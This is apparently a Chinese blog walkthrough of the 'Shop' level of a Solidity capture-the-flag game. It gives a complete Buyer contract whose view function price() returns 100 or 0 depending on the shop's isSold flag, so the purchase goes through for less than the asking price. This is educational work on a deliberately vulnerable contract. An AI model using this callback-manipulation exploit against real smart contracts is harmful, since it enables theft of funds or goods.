21. Shop

本關原理跟11. Elevator相差不大,關卡合約中分別呼叫了兩次Buyer合約的price函數,只要第二次呼叫回傳的數字比第一次呼叫回傳的數字小即可。關卡難點在於關卡合約使用call呼叫price函數時自定義了一個十分少的gas數量(3000),這個數量不足以更改任何Storage的數值。

觀看關卡合約,可以看見兩次呼叫price函數中間有以下代碼︰

isSold = true;

因此我們可以利用isSold數值的轉變在price函數回傳不同的數字。

由於gas提供的數量實在太低,在compiler版本Solidity 0.8有可能會因compiler版本差異而導致gas花光令函數執行失敗,因此以下代碼以compiler版本Solidity 0.7編寫。

打開Remix IDE,新建檔案Buyer.sol貼上︰

pragma solidity ^0.7;

interface IShop {
    function isSold() external view returns (bool);
    function buy() external;
}

contract Buyer {
    address levelInstance;

    constructor(address _levelInstance) {
        levelInstance = _levelInstance;
    }

    function price() public view returns (uint256) {
        return IShop(msg.sender).isSold() ? 0 : 100;
    }

    function buy() public {
        IShop(levelInstance).buy();
    }
}

然後發送,呼叫buy函數。最後按提交,本關完成。

發表留言

%d 位部落客按了讚: